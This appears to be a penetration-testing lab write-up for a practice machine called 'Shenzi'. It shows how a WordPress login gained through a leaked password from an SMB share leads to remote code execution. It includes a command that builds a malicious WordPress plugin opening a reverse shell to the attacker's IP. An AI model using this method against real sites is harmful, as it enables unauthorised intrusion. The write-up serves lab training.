> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/shenzi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/shenzi/exploitation.md).

# Exploitation

After trying to find any vulnerable services,  I tried to find some sort of wordpress, webdav, phpmyadmin to get a shell.

Unfortunately I was unable to find anything until i tried a directory with the name of the box. :joy:

{% embed url="<https://i.kym-cdn.com/photos/images/original/000/053/748/Best-Cry-Ever.gif>" %}

The directory /shenzi/ led me to a wordpress site which the only thing I had to do was type wp-login/php with the password that I got from the NULL SMB share.&#x20;

All i needed to do was follow the steps from the Sandbox network from the OSCP labs and I would get a reverse shell.&#x20;

We generate a reverse shell using this github repo.

{% embed url="<https://github.com/wetw0rk/malicious-wordpress-plugin>" %}

```
python wordpwn.py <reverseip> 443 Y
```

All we have to do is upload the zip file and install it as a plugin and navigate to it and we will get a reverse shell.

![](https://1078804218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwbAlFk105Y78ce4THBOF%2Fuploads%2F9hNgShKQjFCZPoO8ToEl%2F2022-07-16_13-29.png?alt=media\&token=fd6c6c89-d38b-4f42-93b7-5a374838a17d)

![](https://1078804218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwbAlFk105Y78ce4THBOF%2Fuploads%2FHuq7gxvitAPb9DeQc5d1%2F2022-07-16_13-33.png?alt=media\&token=a9d16985-64f1-4880-a7eb-d2f6bbae27a7)

Navigate to the file.

![](https://1078804218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwbAlFk105Y78ce4THBOF%2Fuploads%2Far5yVEWuuUlAReS2rmPO%2F2022-07-16_13-35.png?alt=media\&token=aa7acb4c-c1bc-4feb-9b40-7cfaa9586f69)

Andddd RCE.

![](https://1078804218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwbAlFk105Y78ce4THBOF%2Fuploads%2FWpseoBziOY46ixBGy3FN%2F2022-07-16_13-36.png?alt=media\&token=152b86ad-7a0e-4e45-a206-6654e011c21c)